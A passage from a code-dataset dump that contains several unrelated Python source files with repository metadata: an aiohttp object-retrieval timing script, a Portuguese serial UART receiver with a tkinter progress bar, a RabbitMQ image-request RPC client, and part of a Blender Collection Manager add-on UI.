100\nMAX_CONNECTIONS = 8\ntimes = []\n\n\nasync def get_all_objects(session):\n async with session.get(container) as resp:\n return await resp.text()\n\n\n\"\"\"checks if dimensions of object are 64x64x64\n if not, a random object is selected anew\n\"\"\"\ndef valid_object(randomObject):\n # remove the name\n object_wo_name = re.sub(r'.*/', '', randomObject)\n dimensions = object_wo_name.split(\"_\")\n for dim_i in dimensions:\n intervals = dim_i.split(\"-\");\n if (int(intervals[1]) - int(intervals[0])) != 64:\n return False\n\n return True\n\n\n''' Returns one random object\n'''\ndef get_ran_object(allObjects):\n random_object = random.choice(allObjects)\n\n while not valid_object(random_object):\n random_object = random.choice(allObjects)\n\n return random_object\n\n\nasync def retrieve_object(random_object, session):\n start = time.perf_counter()\n response = await session.get(container+random_object)\n end = time.perf_counter() # Mark the end of request before the read\n await response.read()\n times.append(end - start)\n\n\n# def init_session(connections):\n# tcp_connector = aiohttp.TCPConnector(limit=connections)\n# session = aiohttp.ClientSession(connector=tcp_connector)\n# return session\n\n\nasync def close_sessions(session):\n await session.close()\n\n\ndef find_max_y_z_coors(fixed_x_coordinate):\n max_y = -1\n max_z = -1\n\n for point in fixed_x_coordinate:\n split_point = point.split(\"_\")\n y_coordinates = split_point[1]\n y_range = y_coordinates.split(\"-\")\n z_coordinates = split_point[2]\n z_range = z_coordinates.split(\"-\")\n\n # second number in the range is always bigger\n if int(y_range[1]) > max_y:\n max_y = int(y_range[1])\n\n if int(z_range[1]) > max_z:\n max_z = int(z_range[1])\n\n return max_y, max_z\n\n\ndef find_partial_plane(fixed_x_coordinate, max_y, max_z):\n partial_plane_max_y = max_y / 4\n partial_plane_max_z = max_z / 4\n partial_plane_points = []\n for point in fixed_x_coordinate:\n split_point = point.split(\"_\")\n y_coordinates = split_point[1]\n y_range = y_coordinates.split(\"-\")\n z_coordinates = split_point[2]\n z_range = z_coordinates.split(\"-\")\n\n if int(y_range[1]) <= partial_plane_max_y and int(z_range[1]) <= partial_plane_max_z:\n partial_plane_points.append(point)\n\n return partial_plane_points\n\n\ndef main():\n print(\"running..\")\n format = \"%(asctime)s: %(message)s\"\n logging.basicConfig(format=format, level=logging.INFO,\n datefmt=\"%H:%M:%S\")\n\n tcp_connector = aiohttp.TCPConnector(limit=MAX_CONNECTIONS)\n session = aiohttp.ClientSession(connector=tcp_connector)\n loop = session.connector._loop\n\n task = [get_all_objects(session)]\n\n all_objects = loop.run_until_complete(\n asyncio.gather(*task)\n )\n all_objects = all_objects[0].splitlines()\n print(all_objects)\n exit(1)\n random_object = get_ran_object(all_objects)\n objects_starting_with = random_object.split(\"_\")[0]\n\n fixed_x_coordinate = [o for o in all_objects if o.startswith(objects_starting_with)]\n\n max_y, max_z = find_max_y_z_coors(fixed_x_coordinate)\n\n partial_plane_points = find_partial_plane(fixed_x_coordinate, max_y, max_z)\n\n print(\"partial_plane_points:\", len(partial_plane_points))\n\n\n\n\n task = [retrieve_object(partial_plane_object, session)\n for partial_plane_object in partial_plane_points]\n\n loop.run_until_complete(\n asyncio.wait(task)\n )\n\n loop.run_until_complete(asyncio.wait_for(close_sessions(session), None))\n with open(filename, 'a') as f:\n f.write(\"#%s\\n\" % datetime.now())\n for retTime in times:\n f.write(\"%s\\n\" % retTime)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"gevago01/bbproject","sub_path":"async/partialPlane.py","file_name":"partialPlane.py","file_ext":"py","file_size_in_byte":4096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14691212488","text":"#####################################################\n# Camada Física da Computação\n#Carareto\n#11/08/2020\n#Aplicação\n####################################################\n\n\n#esta é a camada superior, de aplicação do seu software de comunicação serial UART.\n#para acompanhar a execução e identificar erros, construa prints ao longo do código! \n\n\nfrom enlace import *\nfrom tkinter import *\nfrom tkinter.ttk import *\nimport re\nfrom tqdm.auto import tqdm\nfrom tkinter import Label\nimport time\nfrom tkinter.filedialog import askopenfile\n# voce deverá descomentar e configurar a porta com através da qual ira fazer comunicaçao\n# para saber a sua porta, execute no terminal :\n# python -m serial.tools.list_ports\n# se estiver usando windows, o gerenciador de dispositivos informa a porta\n\n#use uma das 3 opcoes para atribuir à variável a porta usada\n#serialName = \"/dev/ttyACM0\" # Ubuntu (variacao de)\n#serialName = \"/dev/tty.usbmodem1411\" # Mac (variacao de)\nvolta = \"COM3\" # Windows(variacao de)\n\nroot = Tk() \nroot.geometry('400x150') \n\nprogress = Progressbar(root, orient = HORIZONTAL, \n length = 180, mode = 'determinate') \n\n\ndef main_volta():\n \n progress['value'] = 5\n root.update_idletasks()\n \n #declaramos um objeto do tipo enlace com o nome \"com\". Essa é a camada inferior à aplicação. Observe que um parametro\n #para declarar esse objeto é o nome da porta.\n com_volta = enlace(volta)\n\n # Ativa comunicacao. Inicia os threads e a comunicação seiral \n com_volta.enable()\n \n print(\"------------------------------------\")\n \n print(\"ATIVANDO PORTA DE RECEPÇÃO\")\n \n\n #Se chegamos até aqui, a comunicação foi aberta com sucesso. Faça um print para informar.\n \n progress['value'] = 30\n root.update_idletasks()\n \n # <------------------------------------------------ VOLTA ------------------------------------------------------->\n \n print(\"------------------------------------\")\n \n print(\"ESTABELECENDO COMUNICAÇÃO PRÉVIA...\")\n \n print(\"------------------------------------\")\n \n \n \n tamanho_recebido = False\n tamanho = 0\n data = None\n while tamanho_recebido == False:\n if com_volta.rx.getBufferLen() == 2:\n \n data, n = com_volta.getData(2)\n tamanho = int.from_bytes(data, \"big\")\n tamanho_recebido = True\n else:\n pass\n \n start = time.time()\n com_volta.rx.clearBuffer()\n \n while True:\n if com_volta.rx.getBufferLen() == 0:\n print(\"ESPERANDO O ARQUIVO\")\n \n print(\"------------------------------------\")\n \n time.sleep(0.2)\n \n else:\n time.sleep(1)\n break\n \n \n tamanho_recebido = com_volta.rx.getBufferLen()\n \n #Será que todos os bytes enviados estão realmente guardadas? Será que conseguimos verificar?\n #Veja o que faz a funcao do enlaceRX getBufferLen\n progress['value'] = 60\n root.update_idletasks()\n \n \n \n #acesso aos bytes recebidos\n rxBuffer, nRx = com_volta.getData(tamanho)\n \n progress['value'] = 80\n root.update_idletasks()\n \n com_volta.sendData(data)\n \n print(\"COMPARANDO ARQUIVOS...\")\n if tamanho_recebido == tamanho:\n \n print(\"-------------------------\")\n print(\"ARQUIVOS IGUAIS!\")\n\n imageW = \"downloadArduino.png\"\n #arquivo chegou inteiro!\n print(\"-------------------------\")\n print(\"SALVANDO...\")\n\n f = open(imageW, \"wb\")\n f.write(rxBuffer)\n \n progress['value'] = 90\n root.update_idletasks()\n \n f.close()\n \n # Encerra comunicaçãos\n print(\"-------------------------\")\n print(\"COMUNICAÇÃO ENCERRADA!\")\n print(\"-------------------------\")\n com_volta.disable()\n \n end = time.time()\n \n print(\"TAXA DE RECEBIMENTO DE BITS: {0} Mb/s\".format((tamanho/1000*1000)/(end-start)))\n print(\"-------------------------\")\n \n progress['value'] = 100\n root.update_idletasks()\n \n else:\n print(\"-------------------------\")\n print(\"BITS PERDIDOS!\")\n com_volta.disable()\n \n \n \n #so roda o main quando for executado do terminal ... se for chamado dentro de outro modulo nao roda\nproc = Button(root, text = 'Get Data', command = lambda: main_volta()) \nproc.pack() \n\nroot.title(\"Client - Server\")\n\nproc.place(relx = 0.2, x =20, y = 50, anchor = NE)\n\nprogress.pack(pady =50)\n\nmainloop()","repo_name":"fernandocfbf/Camada_Fisica_Projetos","sub_path":"projetos/Client-Server/aplicacao_volta.py","file_name":"aplicacao_volta.py","file_ext":"py","file_size_in_byte":4641,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38790271339","text":"import pika, os, json, uuid\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nclass ImageRequests(object):\n\n def __init__(self, callback):\n\n # Configure connection\n self.url = os.environ.get('CLOUDAMQP_URL')\n self.parameters = pika.URLParameters(self.url)\n self.connection = pika.BlockingConnection(self.parameters)\n self.custom_queue = callback\n\n self.channel = self.connection.channel()\n\n # Results queue can be any value at the user's discretion. This is where the client should\n # listen for image responses, and where the image server will publish responses.\n result = self.channel.queue_declare(queue=self.custom_queue, exclusive=False, auto_delete=True)\n self.callback_queue = result.method.queue\n\n # Start listening to the callback queue\n self.channel.basic_consume(\n queue=self.callback_queue,\n on_message_callback=self.on_response,\n auto_ack=True)\n\n def on_response(self, ch, method, props, body):\n if self.corr_id == props.correlation_id:\n self.response = body\n\n def call(self, n):\n \n self.response = None\n self.corr_id = str(uuid.uuid4())\n self.channel.basic_publish(\n exchange='',\n routing_key='google_images_requests',\n properties=pika.BasicProperties(\n reply_to=self.callback_queue,\n correlation_id=self.corr_id,\n delivery_mode=2,\n ),\n body=n)\n while self.response is None:\n self.connection.process_data_events()\n\n return self.response\n\n","repo_name":"jschu713/dapper","sub_path":"main/template/backend/get_img.py","file_name":"get_img.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40023515368","text":"import bpy\n\nfrom bpy.types import (\n Operator,\n Panel,\n UIList,\n)\n\nfrom bpy.props import (\n BoolProperty,\n StringProperty,\n)\n\nfrom .internals import (\n collection_tree,\n collection_state,\n expanded,\n get_max_lvl,\n layer_collections,\n rto_history,\n expand_history,\n phantom_history,\n copy_buffer,\n swap_buffer,\n qcd_slots,\n update_collection_tree,\n update_property_group,\n generate_state,\n get_move_selection,\n get_move_active,\n update_qcd_header,\n)\n\n\npreview_collections = {}\nlast_icon_theme_text = None\nlast_icon_theme_text_sel = None\n\n\nclass CollectionManager(Operator):\n bl_label = \"Collection Manager\"\n bl_idname = \"view3d.collection_manager\"\n\n last_view_layer = \"\"\n\n window_open = False\n\n master_collection: StringProperty(\n default='Scene Collection',\n name=\"\",\n description=\"Scene Collection\"\n )\n\n def __init__(self):\n self.window_open = True\n\n def draw(self, context):\n cls = CollectionManager\n layout = self.layout\n cm = context.scene.collection_manager\n prefs = context.preferences.addons[__package__].preferences\n view_layer = context.view_layer\n\n if view_layer.name != cls.last_view_layer:\n if prefs.enable_qcd:\n bpy.app.timers.register(update_qcd_header)\n\n update_collection_tree(context)\n cls.last_view_layer = view_layer.name\n\n # title and view layer\n title_row = layout.split(factor=0.5)\n main = title_row.row()\n view = title_row.row(align=True)\n view.alignment = 'RIGHT'\n\n main.label(text=\"Collection Manager\")\n\n view.prop(view_layer, \"use\", text=\"\")\n view.separator()\n\n window = context.window\n scene = window.scene\n view.template_search(\n window, \"view_layer\",\n scene, \"view_layers\",\n new=\"scene.view_layer_add\",\n unlink=\"scene.view_layer_remove\")\n\n layout.row().separator()\n layout.row().separator()\n\n # buttons\n button_row = layout.row()\n\n op_sec = button_row.row()\n op_sec.alignment = 'LEFT'\n\n collapse_sec = op_sec.row()\n collapse_sec.alignment = 'LEFT'\n collapse_sec.enabled = False\n\n if len(expanded) > 0:\n text = \"Collapse All Items\"\n else:\n text = \"Expand All Items\"\n\n collapse_sec.operator(\"view3d.expand_all_items\", text=text)\n\n for laycol in collection_tree:\n if laycol[\"has_children\"]:\n collapse_sec.enabled = True\n break\n\n if prefs.enable_qcd:\n renum_sec = op_sec.row()\n renum_sec.alignment = 'LEFT'\n renum_sec.operator(\"view3d.renumerate_qcd_slots\")\n\n # filter\n filter_sec = button_row.row()\n filter_sec.alignment = 'RIGHT'\n\n filter_sec.popover(panel=\"COLLECTIONMANAGER_PT_display_options\",\n text=\"\", icon='FILTER')\n\n mc_box = layout.box()\n master_collection_row = mc_box.row(align=True)\n\n # collection icon\n c_icon = master_collection_row.row()\n highlight = False\n if (context.view_layer.active_layer_collection ==\n context.view_layer.layer_collection):\n highlight = True\n\n prop = c_icon.operator(\"view3d.set_active_collection\",\n text='', icon='GROUP', depress=highlight)\n prop.collection_index = -1\n prop.collection_name = 'Master Collection'\n\n master_collection_row.separator()\n\n # name\n name_row = master_collection_row.row()\n name_row.prop(self, \"master_collection\", text='')\n name_row.enabled = False\n\n master_collection_row.separator()\n\n # global rtos\n global_rto_row = master_collection_row.row()\n global_rto_row.alignment = 'RIGHT'\n\n row_setcol = global_rto_row.row()\n row_setcol.alignment = 'LEFT'\n row_setcol.operator_context = 'INVOKE_DEFAULT'\n selected_objects = get_move_selection()\n active_object = get_move_active()\n collection = context.view_layer.layer_collection.collection\n\n icon = 'MESH_CUBE'\n\n if selected_objects:\n if active_object and active_object.name in collection.objects:\n icon = 'SNAP_VOLUME'\n\n elif not set(selected_objects).isdisjoint(collection.objects):\n icon = 'STICKY_UVS_LOC'\n\n else:\n row_setcol.enabled = False\n\n prop = row_setcol.operator(\"view3d.set_collection\", text=\"\",\n icon=icon, emboss=False)\n prop.collection_index = 0\n prop.collection_name = 'Master Collection'\n\n copy_icon = 'COPYDOWN'\n swap_icon = 'ARROW_LEFTRIGHT'\n copy_swap_icon = 'SELECT_INTERSECT'\n\n if cm.show_exclude:\n exclude_all_history = rto_history[\"exclude_all\"].get(view_layer.name, [])\n depress = True if len(exclude_all_history) else False\n icon = 'CHECKBOX_HLT'\n buffers = [False, False]\n\n if copy_buffer[\"RTO\"] == \"exclude\":\n icon = copy_icon\n buffers[0] = True\n\n if swap_buffer[\"A\"][\"RTO\"] == \"exclude\":\n icon = swap_icon\n buffers[1] = True\n\n if buffers[0] and buffers[1]:\n icon = copy_swap_icon\n\n global_rto_row.operator(\"view3d.un_exclude_all_collections\", text=\"\", icon=icon, depress=depress)\n\n if cm.show_selectable:\n select_all_history = rto_history[\"select_all\"].get(view_layer.name, [])\n depress = True if len(select_all_history) else False\n icon = 'RESTRICT_SELECT_OFF'\n buffers = [False, False]\n\n if copy_buffer[\"RTO\"] == \"select\":\n icon = copy_icon\n buffers[0] = True\n\n if swap_buffer[\"A\"][\"RTO\"] == \"select\":\n icon = swap_icon\n buffers[1] = True\n\n if buffers[0] and buffers[1]:\n icon = copy_swap_icon\n\n global_rto_row.operator(\"view3d.un_restrict_select_all_collections\", text=\"\", icon=icon, depress=depress)\n\n if cm.show_hide_viewport:\n hide_all_history = rto_history[\"hide_all\"].get(view_layer.name, [])\n depress = True if len(hide_all_history) else False\n icon = 'HIDE_OFF'\n buffers = [False, False]\n\n if copy_buffer[\"RTO\"] == \"hide\":\n icon = copy_icon\n buffers[0] = True\n\n if swap_buffer[\"A\"][\"RTO\"] == \"hide\":\n icon = swap_icon\n buffers[1] = True\n\n if buffers[0] and buffers[1]:\n icon = copy_swap_icon\n\n global_rto_row.operator(\"view3d.un_hide_all_collections\", text=\"\", icon=icon, depress=depress)\n\n if cm.show_disable_viewport:\n disable_all_history = rto_history[\"disable_all\"].get(view_layer.name, [])\n depress = True if len(disable_all_history) else False\n icon = 'RESTRICT_VIEW_OFF'\n buffers = [False, False]\n\n if copy_buffer[\"RTO\"] == \"disable\":\n icon = copy_icon\n buffers[0] = True\n\n if swap_buffer[\"A\"][\"RTO\"] == \"disable\":\n icon = swap_icon\n buffers[1] = True\n\n if buffers[0] and buffers[1]:\n icon = copy_swap_icon\n\n global_rto_row.operator(\"view3d.un_disable_viewport_all_collections\", text=\"\", icon=icon, depress=depress)\n\n if cm.show_render:\n render_all_history = rto_history[\"render_all\"].get(view_layer.name, [])\n depress = True if len(render_all_history) else False\n icon = 'RESTRICT_RENDER_OFF'\n buffers = [False, False]\n\n if copy_buffer[\"RTO\"] == \"render\":\n icon = copy_icon\n buffers[0] = True\n\n if swap_buffer[\"A\"][\"RTO\"] == \"render\":\n icon = swap_icon\n buffers[1] = True\n\n if buffers[0] and buffers[1]:\n icon = copy_swap_icon\n\n global_rto_row.operator(\"view3d.un_disable_render_all_collections\", text=\"\", icon=icon, depress=depress)\n\n # treeview\n layout.row().template_list(\"CM_UL_items\", \"\",\n cm, \"cm_list_collection\",\n cm, \"cm_list_index\",\n rows=15,\n sort_lock=True)\n\n # add collections\n addcollec_row = layout.row()\n addcollec_row.operator(\"view3d.add_collection\", text=\"Add Collection\",\n icon='COLLECTION_NEW').child = False\n\n addcollec_row.operator(\"view3d.add_collection\", text=\"Add SubCollection\",\n icon='COLLECTION_NEW').child = True\n\n # phantom mode\n phantom_row = layout.row()\n toggle_text = \"Disable \" if cm.in_phantom_mode else \"Enable \"\n phantom_row.operator(\"view3d.toggle_phantom_mode\", text=toggle_text+\"Phantom Mode\")\n\n if cm.in_phantom_mode:\n view.enabled = False\n if prefs.enable_qcd:\n renum_sec.enabled = False\n\n c_icon.enabled = False\n row_setcol.enabled = False\n addcollec_row.enabled = False\n\n\n def execute(self, context):\n wm = context.window_manager\n\n update_property_group(context)\n\n cm = context.scene.collection_manager\n view_layer = context.view_layer\n\n self.view_layer = view_layer.name\n\n # make sure list index is valid\n if cm.cm_list_index >= len(cm.cm_list_collection):\n cm.cm_list_index = -1\n\n # check if expanded & history/buffer state still correct\n if collection_state:\n new_state = generate_state()\n\n if new_state[\"name\"] != collection_state[\"name\"]:\n copy_buffer[\"RTO\"] = \"\"\n copy_buffer[\"values\"].clear()\n\n swap_buffer[\"A\"][\"RTO\"] = \"\"\n swap_buffer[\"A\"][\"values\"].clear()\n swap_buffer[\"B\"][\"RTO\"] = \"\"\n swap_buffer[\"B\"][\"values\"].clear()\n\n for name in list(expanded):\n laycol = layer_collections.get(name)\n if not laycol or not laycol[\"has_children\"]:\n expanded.remove(name)\n\n for name in list(expand_history[\"history\"]):\n laycol = layer_collections.get(name)\n if not laycol or not laycol[\"has_children\"]:\n expand_history[\"history\"].remove(name)\n\n for rto, history in rto_history.items():\n if view_layer.name in history:\n del history[view_layer.name]\n\n\n else:\n for rto in [\"exclude\", \"select\", \"hide\", \"disable\", \"render\"]:\n if new_state[rto] != collection_state[rto]:\n if view_layer.name in rto_history[rto]:\n del rto_history[rto][view_layer.name]\n\n if view_layer.name in rto_history[rto+\"_all\"]:\n del rto_history[rto+\"_all\"][view_layer.name]\n\n # check if in phantom mode and if it's still viable\n if cm.in_phantom_mode:\n if layer_collections.keys() != phantom_history[\"initial_state\"].keys():\n cm.in_phantom_mode = False\n\n if view_layer.name != phantom_history[\"view_layer\"]:\n cm.in_phantom_mode = False\n\n if not cm.in_phantom_mode:\n for key, value in phantom_history.items():\n try:\n value.clear()\n except AttributeError:\n if key == \"view_layer\":\n phantom_history[\"view_layer\"] = \"\"\n\n # handle window sizing\n max_width = 960\n min_width = 456\n row_indent_width = 15\n width_step = 21\n qcd_width = 30\n scrollbar_width = 21\n lvl = get_max_lvl()\n\n width = min_width + row_indent_width + (width_step * lvl)\n\n if bpy.context.preferences.addons[__package__].preferences.enable_qcd:\n width += qcd_width\n\n if len(layer_collections) > 14:\n width += scrollbar_width\n\n if width > max_width:\n width = max_width\n\n return wm.invoke_popup(self, width=width)\n\n def __del__(self):\n global collection_state\n\n if not self.window_open:\n # prevent destructor execution when changing templates\n return\n\n collection_state.clear()\n collection_state.update(generate_state())\n\n\nclass CM_UL_items(UIList):\n last_filter_value = \"\"\n\n filter_by_selected: BoolProperty(\n name=\"Filter By Selected\",\n default=False,\n description=\"Filter collections by selected items\"\n )\n filter_by_qcd: BoolProperty(\n name=\"Filter By QCD\",\n default=False,\n description=\"Filter collections to only show QCD slots\"\n )\n\n def draw_item(self, context, layout, data, item, icon, active_data,active_propname, index):\n self.use_filter_show = True\n\n cm = context.scene.collection_manager\n prefs = context.preferences.addons[__package__].preferences\n view_layer = context.view_layer\n laycol = layer_collections[item.name]\n collection = laycol[\"ptr\"].collection\n selected_objects = get_move_selection()\n active_object = get_move_active()\n\n column = layout.column(align=True)\n\n main_row = column.row()\n\n s1 = main_row.row(align=True)\n s1.alignment = 'LEFT'\n\n s2 = main_row.row(align=True)\n s2.alignment = 'RIGHT'\n\n row = s1\n\n # allow room to select the row from the beginning\n row.separator()\n\n # indent child items\n if laycol[\"lvl\"] > 0:\n for _ in range(laycol[\"lvl\"]):\n row.label(icon='BLANK1')\n\n # add expander if collection has children to make UIList act like tree view\n if laycol[\"has_children\"]:\n if laycol[\"expanded\"]:\n highlight = True if expand_history[\"target\"] == item.name else False\n\n prop = row.operator(\"view3d.expand_sublevel\", text=\"\",\n icon='DISCLOSURE_TRI_DOWN',\n emboss=highlight, depress=highlight)\n prop.expand = False\n prop.name = item.name\n prop.index = index\n\n else:\n highlight = True if expand_history[\"target\"] == item.name else False\n\n prop = row.operator(\"view3d.expand_sublevel\", text=\"\",\n icon='DISCLOSURE_TRI_RIGHT',\n emboss=highlight, depress=highlight)\n prop.expand = True\n prop.name = item.name\n prop.index = index\n\n else:\n row.label(icon='BLANK1')\n\n\n # collection icon\n c_icon = row.row()\n highlight = False\n if (context.view_layer.active_layer_collection == laycol[\"ptr\"]):\n highlight = True\n\n prop = c_icon.operator(\"view3d.set_active_collection\", text='', icon='GROUP',\n emboss=highlight, depress=highlight)\n\n prop.collection_index = laycol[\"row_index\"]\n prop.collection_name = item.name\n\n if prefs.enable_qcd:\n QCD = row.row()\n QCD.scale_x = 0.4\n QCD.prop(item, \"qcd_slot_idx\", text=\"\")\n\n c_name = row.row()\n\n #if rename[0] and index == cm.cm_list_index:\n #c_name.activate_init = True\n #rename[0] = False\n\n c_name.prop(item, \"name\", text=\"\", expand=True)\n\n # used as a separator (actual separator not wide enough)\n row.label()\n\n row = s2 if cm.align_local_ops else s1\n\n # add set_collection op\n set_obj_col = row.row()\n set_obj_col.operator_context = 'INVOKE_DEFAULT'\n\n icon = 'MESH_CUBE'\n\n if selected_objects:\n if active_object and active_object.name in collection.objects:\n icon = 'SNAP_VOLUME'\n\n elif not set(selected_objects).isdisjoint(collection.objects):\n icon = 'STICKY_UVS_LOC'\n\n else:\n set_obj_col.enabled = False\n\n\n prop = set_obj_col.operator(\"view3d.set_collection\", text=\"\",\n icon=icon, emboss=False)\n prop.collection_index = laycol[\"id\"]\n prop.collection_name = item.name\n\n\n if cm.show_exclude:\n exclude_history_base = rto_history[\"exclude\"].get(view_layer.name, {})\n exclude_target = exclude_history_base.get(\"target\", \"\")\n exclude_history = exclude_history_base.get(\"history\", [])\n\n highlight = bool(exclude_history and exclude_target == item.name)\n icon = 'CHECKBOX_DEHLT' if laycol[\"ptr\"].exclude else 'CHECKBOX_HLT'\n\n row.operator(\"view3d.exclude_collection\", text=\"\", icon=icon,\n emboss=highlight, depress=highlight).name = item.name\n\n if cm.show_selectable:\n select_history_base = rto_history[\"select\"].get(view_layer.name, {})\n select_target = select_history_base.get(\"target\", \"\")\n select_history = select_history_base.get(\"history\", [])\n\n highlight = bool(select_history and select_target == item.name)\n icon = ('RESTRICT_SELECT_ON' if laycol[\"ptr\"].collection.hide_select else\n 'RESTRICT_SELECT_OFF')\n\n row.operator(\"view3d.restrict_select_collection\", text=\"\", icon=icon,\n emboss=highlight, depress=highlight).name = item.name\n\n if cm.show_hide_viewport:\n hide_history_base = rto_history[\"hide\"].get(view_layer.name, {})\n hide_target = hide_history_base.get(\"target\", \"\")\n hide_history = hide_history_base.get(\"history\", [])\n\n highlight = bool(hide_history and hide_target == item.name)\n icon = 'HIDE_ON' if laycol[\"ptr\"].hide_viewport else 'HIDE_OFF'\n\n row.operator(\"view3d.hide_collection\", text=\"\", icon=icon,\n emboss=highlight, depress=highlight).name = item.name\n\n if cm.show_disable_viewport:\n disable_history_base = rto_history[\"disable\"].get(view_layer.name, {})\n disable_target = disable_history_base.get(\"target\", \"\")\n disable_history = disable_history_base.get(\"history\", [])\n\n highlight = bool(disable_history and disable_target == item.name)\n icon = ('RESTRICT_VIEW_ON' if laycol[\"ptr\"].collection.hide_viewport else\n 'RESTRICT_VIEW_OFF')\n\n row.operator(\"view3d.disable_viewport_collection\", text=\"\", icon=icon,\n emboss=highlight, depress=highlight).name = item.name\n\n if cm.show_render:\n render_history_base = rto_history[\"render\"].get(view_layer.name, {})\n render_target = render_history_base.get(\"target\", \"\")\n render_history = render_history_base.get(\"history\", [])\n\n highlight = bool(render_history and render_target == item.name)\n icon = ('RESTRICT_RENDER_ON' if laycol[\"ptr\"].collection.hide_render else\n 'RESTRICT_RENDER_OFF')\n\n row.operator(\"view3d.disable_render_collection\", text=\"\", icon=icon,\n emboss=highlight, depress=highlight).name = item.name\n\n\n\n row = s2\n\n row.separator()\n row.separator()\n\n rm_op = row.row()\n rm_op.operator(\"view3d.remove_collection\", text=\"\", icon='X',\n emboss=False).collection_name = item.name\n\n\n if len(data.cm_list_collection) > index + 1:\n line_separator = column.row(align=True)\n line_separator.ui_units_y = 0.01\n line_separator.scale_y = 0.1\n line_separator.enabled = False\n\n line_separator.separator()\n line_separator.label(icon='BLANK1')\n\n for _ in range(laycol[\"lvl\"] + 1):\n line_separator.label(icon='BLANK1')\n\n line_separator.prop(cm, \"ui_separator\")\n\n if cm.in_phantom_mode:\n c_icon.enabled = False\n c_name.enabled = False\n set_obj_col.enabled = False\n rm_op.enabled = False\n\n if prefs.enable_qcd:\n QCD.enabled = False\n\n\n def draw_filter(self, context, layout):\n row = layout.row()\n\n subrow = row.row(align=True)\n subrow.prop(self, \"filter_name\", text=\"\")\n\n icon = 'ZOOM_OUT' if self.use_filter_invert else 'ZOOM_IN'\n subrow.prop(self, \"use_filter_invert\", text=\"\", icon=icon)\n\n subrow = row.row(align=True)\n subrow.prop(self, \"filter_by_selected\", text=\"\", icon='SNAP_VOLUME')\n\n if context.preferences.addons[__package__].preferences.enable_qcd:\n subrow.prop(self, \"filter_by_qcd\", text=\"\", icon='EVENT_Q')\n\n def filter_items(self, context, data, propname):\n flt_flags = []\n flt_neworder = []\n\n list_items = getattr(data, propname)\n\n if self.filter_name:\n flt_flags = filter_items_by_name_insensitive(self.filter_name, self.bitflag_filter_item, list_items)\n\n elif self.filter_by_selected:\n flt_flags = [0] * len(list_items)\n\n for idx, item in enumerate(list_items):\n collection = layer_collections[item.name][\"ptr\"].collection\n\n # check if any of the selected objects are in the collection\n if not set(context.selected_objects).isdisjoint(collection.objects):\n flt_flags[idx] |= self.bitflag_filter_item\n\n elif self.filter_by_qcd:\n flt_flags = [0] * len(list_items)\n\n for idx, item in enumerate(list_items):\n if item.qcd_slot_idx:\n flt_flags[idx] |= self.bitflag_filter_item\n\n else: # display as treeview\n flt_flags = [self.bitflag_filter_item] * len(list_items)\n\n for idx, item in enumerate(list_items):\n if not layer_collections[item.name][\"visible\"]:\n flt_flags[idx] = 0\n\n return flt_flags, flt_neworder\n\n\n\n def invoke(self, context, event):\n pass\n\n\nclass CMDisplayOptionsPanel(Panel):\n bl_label = \"Display Options\"\n bl_idname = \"COLLECTIONMANAGER_PT_display_options\"\n bl_space_type = 'VIEW_3D'\n bl_region_type = 'UI'\n bl_category = \"Collection Manager\"\n\n def draw(self, context):\n cm = context.scene.collection_manager\n\n layout = self.layout\n\n panel_header = layout.row()\n panel_header.alignment = 'CENTER'\n panel_header.label(text=\"Display Options\")\n\n layout.separator()\n\n section_header = layout.row()\n section_header.alignment = 'LEFT'\n section_header.label(text=\"Restriction Toggles\")\n\n row = layout.row()\n row.prop(cm, \"show_exclude\", icon='CHECKBOX_HLT', icon_only=True)\n row.prop(cm, \"show_selectable\", icon='RESTRICT_SELECT_OFF', icon_only=True)\n row.prop(cm, \"show_hide_viewport\", icon='HIDE_OFF', icon_only=True)\n row.prop(cm, \"show_disable_viewport\", icon='RESTRICT_VIEW_OFF', icon_only=True)\n row.prop(cm, \"show_render\", icon='RESTRICT_RENDER_OFF', icon_only=True)\n\n layout.separator()\n\n section_header = layout.row()\n section_header.label(text=\"Layout\")\n\n row = layout.row()\n row.prop(cm, \"align_local_ops\")\n\n\ndef view3d_header_qcd_slots(self, context):\n layout = self.layout\n\n idx = 1\n\n split = layout.split()\n col = split.column(align=True)\n row = col.row(align=True)\n row.scale_y = 0.5\n\n update_collection_tree(context)\n\n for x in range(20):\n qcd_slot_name = qcd_slots.get_name(str(x+1))\n\n if qcd_slot_name:\n qcd_laycol = layer_collections[qcd_slot_name][\"ptr\"]\n collection_objects = qcd_laycol.collection.objects\n selected_objects = get_move_selection()\n active_object = get_move_active()\n\n icon_value = 0\n\n # if the active object is in the current collection use a custom icon\n if (active_object and active_object in selected_objects and\n active_object.name in collection_objects):\n icon = 'LAYER_ACTIVE'\n\n\n # if there are selected objects use LAYER_ACTIVE\n elif not set(selected_objects).isdisjoint(collection_objects):\n icon = 'LAYER_USED'\n\n # If there are objects use LAYER_USED\n elif collection_objects:\n icon = 'NONE'\n active_icon = get_active_icon(context, qcd_laycol)\n icon_value = active_icon.icon_id\n\n else:\n icon = 'BLANK1'\n\n\n prop = row.operator(\"view3d.view_move_qcd_slot\", text=\"\", icon=icon,\n icon_value=icon_value, depress=not qcd_laycol.exclude)\n prop.slot = str(x+1)\n\n else:\n row.label(text=\"\", icon='X')\n\n\n if idx%5==0:\n row.separator()\n\n if idx == 10:\n row = col.row(align=True)\n row.scale_y = 0.5\n\n idx += 1\n\n\ndef view_layer_update(self, context):\n if context.view_layer.name != CollectionManager.last_view_layer:\n bpy.app.timers.register(update_qcd_header)\n CollectionManager.last_view_layer = context.view_layer.name\n\n\ndef get_active_icon(context, qcd_laycol):\n global last_icon_theme_text\n global last_icon_theme_text_sel\n\n tool_theme = context.preferences.themes[0].user_interface.wcol_tool\n pcoll = preview_collections[\"icons\"]\n\n if qcd_laycol.exclude:\n theme_color = tool_theme.text\n last_theme_color = last_icon_theme_text\n icon = pcoll[\"active_icon_text\"]\n\n else:\n theme_color = tool_theme.text_sel\n last_theme_color = last_icon_theme_text_sel\n icon = pcoll[\"active_icon_text_sel\"]\n\n if last_theme_color == None or theme_color.hsv != last_theme_color:\n update_icon(pcoll[\"active_icon_base\"], icon, theme_color)\n\n if qcd_laycol.exclude:\n last_icon_theme_text = theme_color.hsv\n\n else:\n last_icon_theme_text_sel 